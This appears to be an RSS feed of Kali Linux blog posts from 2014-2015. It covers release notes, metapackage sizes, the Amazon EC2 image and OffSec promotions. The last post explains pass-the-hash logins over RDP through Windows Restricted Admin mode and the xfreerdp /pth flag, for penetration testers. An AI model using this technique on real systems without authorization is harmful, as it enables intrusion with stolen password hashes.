&lt;li>The new release runs a 3.18 kernel, patched for wireless injection attacks.&lt;/li>
&lt;li>Our ISO build systems are now running off live-build 4.x.&lt;/li>
&lt;li>Improved wireless driver support, due to both kernel and firmware upgrades.&lt;/li>
&lt;li>NVIDIA Optimus hardware support.&lt;/li>
&lt;li>Updated virtualbox-tool, openvm-tools and &lt;a href="https://www.kali.org/docs/virtualization/install-vmware-guest-tools/">vmware-tools packages and instructions&lt;/a>.&lt;/li>
&lt;li>A whole bunch of fixes and updates from our bug-tracker &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a>.&lt;/li>
&lt;li>And most importantly, we changed grub screens and wallpapers!&lt;/li>
&lt;/ul>
&lt;h3 id="download-or-upgrade-kali-linux-110">Download or Upgrade Kali Linux 1.1.0&lt;/h3>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-1-1-0-release/images/kali-wallpaper-2015-v1.1.0.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-1-1-0-release/images/kali-wallpaper-2015-v1.1.0.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>page in the next few days. As usual, if you&amp;rsquo;ve already got Kali Linux installed and running, there&amp;rsquo;s no need to re-download the image as you can simply update your existing operating system using simple &lt;strong>apt&lt;/strong> commands:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt-get update
apt-get dist-upgrade
&lt;/code>&lt;/pre>
&lt;h3 id="shameless-offsec-plug">Shameless OffSec Plug&lt;/h3>
&lt;p>Last month, &lt;a href="https://www.offsec.com/">OffSec&lt;/a> put out a promotional video as well as a motivational song in praise of its flagship &lt;a href="https://www.offsec.com/pwk-oscp/">Penetration Testing with Kali Linux&lt;/a> certification, the &lt;a href="https://www.offsec.com/pwk-oscp/">OSCP&lt;/a>. People liked them so much, we thought we&amp;rsquo;d share them here too:&lt;/p>
&lt;h5 id="call-offsec---promotional-video">CALL OFFSEC - Promotional Video&lt;/h5>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe src="https://www.kali.org/blog/kali-linux-1-1-0-release/https://player.vimeo.com/video/115074667?dnt=1" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="vimeo video" webkitallowfullscreen mozallowfullscreen allowfullscreen>&lt;/iframe>
&lt;/div>
&lt;h5 id="offsec-say-try-harder---oscp-motivational-song">OFFSEC SAY &amp;ldquo;TRY HARDER!&amp;rdquo; - OSCP Motivational Song&lt;/h5>
&lt;p>&amp;ldquo;OffSec say Try Harder, the only way to get your OSCP!&amp;rdquo;. This is our new OSCP anthem for all struggling students. The lyrics for the &amp;ldquo;Try Harder&amp;rdquo; song can be found on the latest OffSec &amp;ldquo;&lt;a href="https://www.offsec.com/offsec/say-try-harder/">Try Harder&lt;/a>&amp;rdquo; blog post. Enjoy!&lt;/p>
&lt;p>&lt;a href="audio/Try_Harder_2.0.mp3">Try Harder (mp3)&lt;/a>&lt;/p>
&lt;figure >
&lt;audio controls preload="metadata">
&lt;source src="https://www.kali.org/blog/kali-linux-1-1-0-release/audio/Try_Harder_2.0.mp3" type="audio/mpeg">
&lt;/audio>
&lt;/figure></description></item><item><title>Kali &amp; NetHunter Security Release Fixes</title><link>https://www.kali.org/blog/kali-linux-1-0-9a-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-1-0-9a-release/</guid><pubDate>Mon, 06 Oct 2014 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-1-0-9a-release/images/kali-1.0.9a-release.jpg" type="image/jpg"/><description>&lt;h3 id="squash-the-bugs-with-kali-109a">Squash the Bugs with Kali 1.0.9a&lt;/h3>
&lt;p>Over the past couple of weeks, we&amp;rsquo;ve seen a bunch of nasty bugs hit the scene, from &lt;strong>shellshock&lt;/strong> to Debian &lt;strong>&lt;a href="https://www.debian.org/security/2014/dsa-3025">apt&lt;/a>&lt;/strong> vulnerabilities. As we prefer not to ship vulnerable ISOs, we&amp;rsquo;ve rolled up new images for our Kali Linux and NetHunter releases as well our Amazon AWS images with the relevant security fixes in place. These images correspond to Kali 1.0.9a and &lt;a href="https://www.offsec.com/offsec/kali-nexus-nethunter-1-0-2/">NetHunter 1.0.2&lt;/a> versions, now available for &lt;a href="https://www.kali.org/get-kali/">download&lt;/a> through our mirrors. We expect the Amazon images to be updated in the AWS backend by the end of the week. If you&amp;rsquo;re already running Kali Linux, all you need to do is run an update and dist-upgrade to get the latest and greatest:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt-get update
apt-get dist-upgrade
&lt;/code>&lt;/pre>
&lt;h3 id="nethunter-for-professional-penetration-testing">NetHunter for Professional Penetration Testing&lt;/h3>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-1-0-9a-release/images/nethunter-demo-homescreen-thumb.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-1-0-9a-release/images/nethunter-demo-homescreen-thumb.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>The &lt;a href="https://www.kali.org/kali-nethunter/">OffSec NetHunter&lt;/a> release was a success and has brought about a huge amount of interest in our Nexus ROM overlay. We are happy and thankful to see a NetHunter community spring up and &lt;a href="https://www.kali.org/docs/community/contribute/">contribute&lt;/a> to the project so actively. Since the release, we have been repeatedly asked about our &lt;a href="https://www.kali.org/docs/policy/eula/EULA.txt">Kali EULA&lt;/a> and whether NetHunter can be used for &lt;strong>commercial purposes&lt;/strong> such as professional penetration testing or running security assessments. &lt;strong>The answer is a resounding YES&lt;/strong>, currently making NetHunter the only free Nexus Android system which is Open-source and allowed for commercial use. If you&amp;rsquo;re doing any serious work with NetHunter, make sure it is &lt;a href="https://forums.kali.org/showthread.php?23022-Securing-your-NetHunter-Device">properly secured&lt;/a> and &lt;a href="https://forums.kali.org/showthread.php?22901-NetHunter-Disk-Encryption">encrypted&lt;/a>.&lt;/p>
&lt;h3 id="kali-linux-tools-listings">Kali Linux Tools Listings&lt;/h3>
&lt;p>A month ago, we released the Kali Linux Tools website, detailing the tools available in Kali as well as simple usage examples. If you are the author of a tool that we have missed or have additional examples that you would like us to include in order to more fully cover your project, please feel free to &lt;a href="https://www.kali.org/contact/">contact us&lt;/a> to have your entries fixed.&lt;/p></description></item><item><title>Kali Tools Website Launched, 1.0.9 Release</title><link>https://www.kali.org/blog/kali-linux-1-0-9-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-1-0-9-release/</guid><pubDate>Mon, 25 Aug 2014 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-1-0-9-release/images/kali-1.0.9-release.jpg" type="image/jpg"/><description>&lt;p>Now that we have caught our breath after the Black Hat and DEF CON conferences, we have put aside some time to fix an annoying bug in our 1.0.8 ISO releases related to outdated firmware as well as regenerate fresh new ARM and VMware images (courtesy of &lt;a href="https://www.offsec.com/">OffSec&lt;/a> ) for our new &lt;a href="https://www.kali.org/get-kali/#kali-vm">1.0.9 release&lt;/a>. With this release come a few more updates worth mentioning:&lt;/p>
&lt;h5 id="rasberry-pi-b-arm-image-support">Rasberry Pi B+ ARM Image Support&lt;/h5>
&lt;p>We are pleased to announce that we have updated our Raspberry Pi Kali image to support the new B+ model so that now it works out of the box. This single image now supports all Raspberry Pi models.&lt;/p>
&lt;h5 id="odroid-u3-cubox-i-arm-images-added">Odroid U3, Cubox-i ARM Images Added&lt;/h5>
&lt;p>We have also included two more images to our Kali ARM image collection for the Odroid U3 and Cubox-i ARM computers. Each of these have interesting use cases as both their small form factor and specs are formidable. All of these news scripts can be found in our &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm">OffSec GitHub&lt;/a> page.&lt;/p>
&lt;h5 id="new-kali-tools-website">New Kali Tools Website!&lt;/h5>
&lt;p>After many months of typing, editing, and testing, we are delighted to announce the launch of our new &lt;a href="https://www.kali.org/tools/">Kali Linux Tools&lt;/a> website. This new site is our official home for information on all of the tools included in Kali Linux. For each tool, you will find a description of the tool, links to the tool homepage, author and license information, and usage output so you can see what output you can expect from each utility in Kali.&lt;/p>
&lt;p>In addition to the primary listing of all &lt;a href="https://www.kali.org/tools/">Kali tools&lt;/a>, we have also made an effort to use tags throughout the site so you can more easily find a particular tool based on what it can do. You will find a tag cloud at the bottom of each page as you navigate the site. Also available is a full breakdown of the contents of each &lt;a href="https://www.kali.org/docs/general-use/metapackages/">Kali Linux metapackage&lt;/a>, allowing you to see which tool is included in a particular metapackage, which makes the building of &lt;a href="https://www.kali.org/docs/development/live-build-a-custom-kali-iso/">custom ISOs&lt;/a> much easier.&lt;/p>
&lt;p>We hope you enjoy our new Kali Linux Tools site and find it as useful as we do. If you are a tool author and have additional examples that you would like us to include in order to more fully cover your project, please feel free to &lt;a href="https://www.kali.org/contact/">contact us&lt;/a>.&lt;/p>
&lt;h5 id="looking-towards-the-future">Looking towards the future&lt;/h5>
&lt;p>We have a massive set of of surprises in the works, some of which will be revealed in &lt;a href="http://2014.brucon.org/index.php/Training_Kali_Linux_Dojo">Brucon&lt;/a> and &lt;a href="https://www.derbycon.com/2014/08/11/kali-linux-dojo-at-derbycon/">Derbycon&lt;/a>, where we&amp;rsquo;ll be running our second &lt;a href="https://www.kali.org/docs/development/dojo-mastering-live-build/">Kali Linux Dojo&lt;/a>. See you there!&lt;/p></description></item><item><title>Kali Linux 1.0.8 Release with EFI Boot Support</title><link>https://www.kali.org/blog/kali-linux-1-0-8-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-1-0-8-release/</guid><pubDate>Tue, 22 Jul 2014 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-1-0-8-release/images/kali-1.0.8-release.jpg" type="image/jpg"/><description>&lt;p>The long awaited Kali Linux USB EFI boot support feature has been added to our binary ISO builds, which has prompted this early Kali Linux 1.0.8 release. This new feature simplifies getting Kali installed and running on more recent hardware which requires EFI as well as various Apple Macbooks Air and Retina models. Besides the addition of EFI support, there is a whole array of &lt;a href="https://bugs.kali.org/changelog_page.php">tool updates and fixes&lt;/a> that have accumulated over the past couple of months.&lt;/p>
&lt;p>As this new release focuses almost entirely on the EFI capable ISO image, OffSec won&amp;rsquo;t be releasing additional ARM or VMWare images with 1.0.8. As usual, you don&amp;rsquo;t need to re-download Kali if you&amp;rsquo;ve got it installed, and apt-get update &amp;amp;&amp;amp; apt-get dist-upgrade should do the job.&lt;/p>
&lt;h5 id="shameless-plug-for-our-free-kali-dojo">Shameless Plug for Our Free Kali Dojo&lt;/h5>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-1-0-8-release/images/kali-home-large-slider-dojo-orange.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-1-0-8-release/images/kali-home-large-slider-dojo-orange.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Finally, this release comes a couple of weeks before the 2014 Black Hat and Defcon security conferences in Las Vegas. If you&amp;rsquo;re attending these conferences, don&amp;rsquo;t forget to join our one day, free [Kali Linux Dojo workshop](](/docs/development/dojo-mastering-live-build/), where we will be teaching and demonstrating the awesome stuff you can do with the Kali Linux Distribution. It&amp;rsquo;s going to be intensive and hands on, so you&amp;rsquo;ll need to &lt;a href="https://www.offsec.com/kali-linux/kali-linux-workshop/">bring some stuff with you&lt;/a> if you attend. &lt;strong>We expect this to be one of our most engaging and interesting events ever!&lt;/strong>&lt;/p>
&lt;h5 id="kali-linux-a-penetration-testing-platform">Kali Linux, a Penetration Testing Platform&lt;/h5>
&lt;p>While keeping an up-to-date toolset is most definitely an important part of any security distribution, much of our resources are also spent on building, testing and fixing &lt;a href="https://www.kali.org/docs/">useful features&lt;/a> for individuals in the Security and Forensics fields. Building on our ever-growing list of such features, we can now happily say that &lt;strong>the Kali image is a EFI Bootable ISO Hybrid image that supports Live USB Encrypted Persistence with LUKS Nuke support&lt;/strong>, out of the box. Yippie!&lt;/p></description></item><item><title>Kali Linux 1.0.7 Release</title><link>https://www.kali.org/blog/kali-linux-1-0-7-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-1-0-7-release/</guid><pubDate>Tue, 27 May 2014 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-1-0-7-release/images/kali-1.0.7-release.jpg" type="image/jpg"/><description>&lt;h4 id="kernel-314-tool-updates-package-improvements">Kernel 3.14, Tool Updates, Package Improvements&lt;/h4>
&lt;p>Kali Linux 1.0.7 has just been released, complete with a whole bunch of tool updates, a new kernel, and some cool new features. Check out our &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a> for a full list of these items. As usual, you don&amp;rsquo;t need to re-download or re-install Kali to benefit from these updates - you can update to the latest and greatest using these simple commands:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt-get update
apt-get dist-upgrade
# If you've just updated your kernel, then: reboot
&lt;/code>&lt;/pre>
&lt;h4 id="kali-linux-encrypted-usb-persistence">Kali Linux Encrypted USB Persistence&lt;/h4>
&lt;p>One of the new sought out features introduced (which is also partially responsible for the kernel update) is the ability to create &lt;a href="https://www.offsec.com/kali-linux/kali-encrypted-usb-persistence/">Kali Linux Live USB with LUKS Encrypted Persistence&lt;/a>. This feature ushers in a new era of secure Kali Linux USB portability, allowing us to either boot to a &amp;ldquo;clean&amp;rdquo; Kali image or alternatively, overlay it with the contents of a persistent encrypted partition, all within the same USB drive.&lt;/p>
&lt;h4 id="tool-developers-ahoy">Tool Developers Ahoy!&lt;/h4>
&lt;p>This release also marks the beginning of some co-ordinated efforts between Kali developers and tool developers to make sure their tools are represented correctly and are fully functional within Kali Linux. We would like to thank the metasploit, w3af, and wpscan dev teams for working with us to perfect their Kali packages and hope that more tool developers join in. Tool developers are welcome to send us an email to:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-1-0-7-release/images/info-email-fix.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-1-0-7-release/images/info-email-fix.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>and we&amp;rsquo;ll be happy to work with you to better integrate your tool into Kali.&lt;/p>
&lt;h4 id="kali-linux-greater-than-the-sum-of-its-parts">Kali Linux: Greater Than the Sum of its Parts&lt;/h4>
&lt;p>For quite some time now, we&amp;rsquo;ve been preaching that Kali Linux is more than a &amp;ldquo;Linux distribution with a collection of tools in it&amp;rdquo;. We invest a significant amount of time and resources developing and enabling features in the distribution which we think are useful for penetration testers and other security professionals. These features range from things like &amp;ldquo;&lt;strong>live-build&lt;/strong>&amp;rdquo;, which allows our end users to easily customize their own Kali ISOs, to features like &lt;strong>Live USB persistence encryption&lt;/strong>, which provides paranoid users with an extra layer of security. Many of these features are unique to Kali and can be found nowhere else. We&amp;rsquo;ve started tallying these features and linking them from our &lt;a href="https://www.kali.org/docs/">Kali documentation page&lt;/a> - check it out, it&amp;rsquo;s growing to be an impressive list!&lt;/p>
&lt;h4 id="torrents-virtual-machine--arm-images">Torrents, Virtual Machine &amp;amp; ARM images&lt;/h4>
&lt;p>In the next few days, &lt;a href="https://www.offsec.com/">OffSec&lt;/a> will post Virtual Machine and custom ARM images for the 1.0.7 release. We will announce the availability of these images via our &lt;a href="https://www.offsec.com/blog/">blog&lt;/a> and &lt;a href="https://twitter.com/offsectraining">Twitter&lt;/a> feeds, so stay tuned!.&lt;/p></description></item><item><title>Kali Linux Metapackages</title><link>https://www.kali.org/blog/kali-linux-metapackages/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-metapackages/</guid><pubDate>Wed, 26 Feb 2014 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-metapackages/images/kali-meta-packages.jpg" type="image/jpg"/><description>&lt;p>One of our goals when developing Kali Linux was to provide multiple &lt;a href="https://gitlab.com/kalilinux/packages/kali-meta.git">metapackages&lt;/a> that would allow us to easily install subsets of tools based on their particular needs. Until recently, we only had a handful of these meta packages but we have since expanded the &lt;a href="https://www.kali.org/docs/general-use/metapackages/">metapackage list&lt;/a> to include far more options:&lt;/p>
&lt;ul>
&lt;li>kali-linux&lt;/li>
&lt;li>kali-linux-all&lt;/li>
&lt;li>kali-linux-forensic&lt;/li>
&lt;li>kali-linux-full&lt;/li>
&lt;li>kali-linux-gpu&lt;/li>
&lt;li>kali-linux-pwtools&lt;/li>
&lt;li>kali-linux-rfid&lt;/li>
&lt;li>kali-linux-sdr&lt;/li>
&lt;li>kali-linux-top10&lt;/li>
&lt;li>kali-linux-voip&lt;/li>
&lt;li>kali-linux-web&lt;/li>
&lt;li>kali-linux-wireless&lt;/li>
&lt;/ul>
&lt;p>These metapackages allow for easy installation of certain tools in a specific field, or alternatively, for the installation of a full Kali suite. All of the Kali metapackages follow a particular naming convention, starting with &amp;ldquo;kali-linux&amp;rdquo; so if you want to see which metapackages are available, you can search for them as follows:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt-get update &amp;amp;&amp;amp; apt-cache search kali-linux
&lt;/code>&lt;/pre>
&lt;p>Although we tried to make the metapackage names self-explanatory, we are limited in the practical length we can use, so let&amp;rsquo;s take a brief look at each of them and see how much disk space is used by each one:&lt;/p>
&lt;h5 id="kali-linux">kali-linux&lt;/h5>
&lt;p>The &lt;em>&lt;strong>kali-linux&lt;/strong>&lt;/em> metapackage is a completely bare-bones installation of Kali Linux and includes various network services such as Apache and SSH, the Kali kernel, and a number of version control applications like git, svn, etc. All of the other metapackages listed below also contain &lt;em>&lt;strong>kali-linux&lt;/strong>&lt;/em>. &lt;strong>Installation Size:&lt;/strong> 1.5 GB&lt;/p>
&lt;h5 id="kali-linux-full">kali-linux-full&lt;/h5>
&lt;p>When you &lt;a href="https://www.kali.org/get-kali/">download&lt;/a> a Kali Linux ISO, you are essentially downloading an installation that has the &lt;em>&lt;strong>kali-linux-full&lt;/strong>&lt;/em> metapackage installed. This package includes all of the tools you are familiar with in Kali. &lt;strong>Installation Size:&lt;/strong> 9.0 GB&lt;/p>
&lt;h5 id="kali-linux-all">kali-linux-all&lt;/h5>
&lt;p>In order to keep our ISO sizes reasonable, we are unable to include every single tool that we package for Kali and there are a number of tools that are not able to be used depending on hardware, such as various GPU tools. If you want to install every available Kali Linux package, you can install the &lt;em>&lt;strong>kali-linux-all&lt;/strong>&lt;/em> metapackage. &lt;strong>Installation Size:&lt;/strong> 15 GB&lt;/p>
&lt;h5 id="kali-linux-top10">kali-linux-top10&lt;/h5>
&lt;p>In Kali Linux, we have a sub-menu called &amp;ldquo;Top 10 Security Tools&amp;rdquo;. The &lt;em>&lt;strong>kali-linux-top10&lt;/strong>&lt;/em> metapackage will install all of these tools for you in one fell swoop. &lt;strong>Installation Size:&lt;/strong> 3.5 GB&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-metapackages/images/top10-menu.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-metapackages/images/top10-menu.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h5 id="kali-linux-forensic">kali-linux-forensic&lt;/h5>
&lt;p>If you are doing forensics work, you don&amp;rsquo;t want your analysis system to contain a bunch of unnecessary tools. To the rescue comes the &lt;em>&lt;strong>kali-linux-forensic&lt;/strong>&lt;/em> metapackage, which only contains the forensics tools in Kali. &lt;strong>Installation Size:&lt;/strong> 3.1 GB&lt;/p>
&lt;h5 id="kali-linux-gpu">kali-linux-gpu&lt;/h5>
&lt;p>GPU utilities are very powerful but need special hardware in order to function correctly. For this reason, they are not included in the default Kali Linux installation but you can install them all at once with &lt;em>&lt;strong>kali-linux-gpu&lt;/strong>&lt;/em> and get cracking. &lt;strong>Installation Size:&lt;/strong> 4.8 GB&lt;/p>
&lt;h5 id="kali-linux-pwtools">kali-linux-pwtools&lt;/h5>
&lt;p>The &lt;em>&lt;strong>kali-linux-pwtools&lt;/strong>&lt;/em> metapackage contains over 40 different password cracking utilities as well as the GPU tools contained in &lt;em>&lt;strong>kali-linux-gpu&lt;/strong>&lt;/em>. &lt;strong>Installation Size:&lt;/strong> 6.0 GB&lt;/p>
&lt;h5 id="kali-linux-rfid">kali-linux-rfid&lt;/h5>
&lt;p>For our users who are doing RFID research and exploitation, we have the &lt;em>&lt;strong>kali-linux-rfid&lt;/strong>&lt;/em> metapackage containing all of the RFID tools available in Kali Linux. &lt;strong>Installation Size:&lt;/strong> 1.5 GB&lt;/p>
&lt;h5 id="kali-linux-sdr">kali-linux-sdr&lt;/h5>
&lt;p>The &lt;em>&lt;strong>kali-linux-sdr&lt;/strong>&lt;/em> metapackage contains a large selection of tools for your Software Defined Radio hacking needs. &lt;strong>Installation Size:&lt;/strong> 2.4 GB&lt;/p>
&lt;h5 id="kali-linux-voip">kali-linux-voip&lt;/h5>
&lt;p>Many people have told us they use Kali Linux to conduct VoIP testing and research so they will be happy to know we now have a dedicated &lt;em>&lt;strong>kali-linux-voip&lt;/strong>&lt;/em> metapackage with 20+ tools. &lt;strong>Installation Size:&lt;/strong> 1.8 GB&lt;/p>
&lt;h5 id="kali-linux-web">kali-linux-web&lt;/h5>
&lt;p>Web application assessments are very common in the field of penetration testing and for this reason, Kali includes the &lt;em>&lt;strong>kali-linux-web&lt;/strong>&lt;/em> metapackage containing dozens of tools related to web application hacking. &lt;strong>Installation Size:&lt;/strong> 4.9 GB&lt;/p>
&lt;h5 id="kali-linux-wireless">kali-linux-wireless&lt;/h5>
&lt;p>Like web applications, many penetration testing assessments are targeted towards wireless networks. The &lt;em>&lt;strong>kali-linux-wireless&lt;/strong>&lt;/em> metapackage contains all the tools you&amp;rsquo;ll need in one easy to install package. &lt;strong>Installation Size:&lt;/strong> 6.6 GB&lt;/p>
&lt;p>To see the list of tools included in a metapackage, you can use simple &lt;strong>apt&lt;/strong> commands. For example, to list all the tools included in the &lt;strong>kali-linux-web&lt;/strong> metapackage, we could:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt-cache show kali-linux-web | grep Depends
&lt;/code>&lt;/pre></description></item><item><title>Kali Linux Amazon EC2 AMI</title><link>https://www.kali.org/blog/kali-linux-amazon-ec2-ami/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-amazon-ec2-ami/</guid><pubDate>Mon, 20 Jan 2014 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-amazon-ec2-ami/images/kali-in-the-cloud.jpg" type="image/jpg"/><description>&lt;h3 id="kali-linux-in-the-amazon-ec2-marketplace">Kali Linux in the Amazon EC2 Marketplace&lt;/h3>
&lt;p>&lt;strong>EDIT&lt;/strong>: For updated Kali Rolling images in the Amazon AWS, check &lt;a href="https://www.kali.org/blog/kali-linux-aws-cloud/">this post&lt;/a>.&lt;/p>
&lt;p>After several weeks of &amp;ldquo;back and forth&amp;rdquo; with the Amazon EC2 team, Kali Linux has finally been approved into the Amazon EC2 marketplace. This means that our users can now activate and access Kali Linux instances in the Amazon cloud quickly and easily. We are &amp;ldquo;selling&amp;rdquo; these images on the marketplace for &lt;strong>free&lt;/strong>, so other than the regular amazon charges, there no extras to pay. We have currently published a single 64 bit &lt;a href="https://aws.amazon.com/marketplace/pp/B08LL91KKB">minimal instance of Kali Linux&lt;/a>, which can be found in the marketplace by searching for &amp;ldquo;Kali Linux&amp;rdquo; or accessed via its &lt;a href="https://aws.amazon.com/marketplace/pp/B08LL91KKB">direct link&lt;/a>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-amazon-ec2-ami/images/amazon-kali-marketplace.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-amazon-ec2-ami/images/amazon-kali-marketplace.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Due to Amazon AMI image guidelines, the instance does not use the root account by default. Once you have obtained your SSH key from Amazon, you need to connect to your instance using the &amp;ldquo;kali&amp;rdquo; user, from which you can then sudo to root if needed. The image is a barebones Kali installation, allowing you to install any toolset you like, while still remaining small and lightweight. If you plan on using Kali Linux for any aggressive scanning on the Internet, make sure to update the Amazon security team through their &lt;a href="https://aws.amazon.com/security/penetration-testing/">Penetration Testing Request&lt;/a> form.&lt;/p>
&lt;h3 id="build-your-own-kali-images-in-the-amazon-cloud">Build Your Own Kali Images in the Amazon Cloud&lt;/h3>
&lt;p>If you would like to build your own Kali Linux Amazon Machine Images, you can use our &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-cloud">Kali cloud build-scripts&lt;/a> , which we published as part of our &lt;a href="https://www.kali.org/blog/kali-linux-1-0-6-release/">Kali 1.0.6 release&lt;/a>. These scripts can be edited to create your own custom images with whatever toolset you wish.&lt;/p>
&lt;h3 id="ask-us-anything-on-reddit">Ask Us Anything on Reddit&lt;/h3>
&lt;p>Tomorrow, Tuesday 21st Jan, 2014 from 1300 - 1500 EST, we are conducting a &lt;a href="https://www.reddit.com/r/netsec/comments/1vryus/we_are_offensive_security_we_do_kali_linux/">Reddit AMA&lt;/a> (Ask Me Anything), revolving around OffSec, Kali Linux, and our other projects. You are welcome to join and ask us anything!&lt;/p></description></item><item><title>Passing the Hash with Remote Desktop</title><link>https://www.kali.org/blog/passing-hash-remote-desktop/</link><guid isPermaLink="true">https://www.kali.org/blog/passing-hash-remote-desktop/</guid><pubDate>Tue, 14 Jan 2014 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/passing-hash-remote-desktop/images/kali-passing-the-hash.jpg" type="image/jpg"/><description>&lt;p>Kali Linux contains a large number of very useful tools that are beneficial to information security professionals. One set of such tools belongs to the &lt;strong>&lt;a href="https://www.kali.org/blog/pass-the-hash-toolkit-winexe-updates/">Pass-the-Hash&lt;/a>&lt;/strong> toolkit, which includes favorites such as &lt;strong>pth-winexe&lt;/strong> among others, already packaged in Kali Linux. An example of easy command line access using pth-winexe is shown below.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/passing-hash-remote-desktop/images/Screen-Shot-2014-01-14-at-9.53.44-AM.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/passing-hash-remote-desktop/images/Screen-Shot-2014-01-14-at-9.53.44-AM.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>We constantly strive to include new, useful tools to our repositories. Sometimes we feel that some of these tools do not get the attention they deserve and go under-reported. One such recent addition is the version of FreeRDP, which allows a penetration tester to use a password hash instead of a plain text password for authentication to the remote desktop service in Windows 2012 R2 and Windows 8.1.&lt;/p>
&lt;p>What&amp;rsquo;s the big deal, you say? Traditional &amp;ldquo;Pass-the-Hash&amp;rdquo; attacks can be very powerful, but they are limited to command line access. Although in most cases that is enough, sometimes GUI access is just a better way to accomplish things.&lt;/p>
&lt;p>A few months ago, Mark Lowe from the Portcullis Labs published a &lt;a href="https://labs.portcullis.co.uk/blog/new-restricted-admin-feature-of-rdp-8-1-allows-pass-the-hash/">blog post&lt;/a> on research he conducted against Windows 2012 R2 and Windows 8.1 RDP security improvements. It turns out that Microsoft, in their quest to mitigate &amp;ldquo;Pass-the-Hash&amp;rdquo; attacks, introduced something called &amp;ldquo;Restricted Admin&amp;rdquo; mode. You can read more about it &lt;a href="https://docs.microsoft.com/en-us/archive/blogs/kfalde/restricted-admin-mode-for-rdp-in-windows-8-1-2012-r2">here&lt;/a>.&lt;/p>
&lt;p>Inadvertently however, this new security feature actually enabled the use of a password hash for RDP authentication purposes, thereby giving many pentesters once again a reason to smile. To add to the validity of the research by Mark, the FreeRDP project has added native support for Pass-the-Hash authentication to the FreeRDP package, which is now in Kali repos. To enjoy this new feature, simply install freerdp-x11:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt-get update
apt-get install freerdp-x11
&lt;/code>&lt;/pre>
&lt;p>The new xfreerdp executable supports the &amp;ldquo;/pth&amp;rdquo; flag as shown below using our &amp;ldquo;offsec&amp;rdquo; domain user and the &amp;ldquo;password&amp;rdquo; hash.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/passing-hash-remote-desktop/images/pth-rdp.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/passing-hash-remote-desktop/images/pth-rdp.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
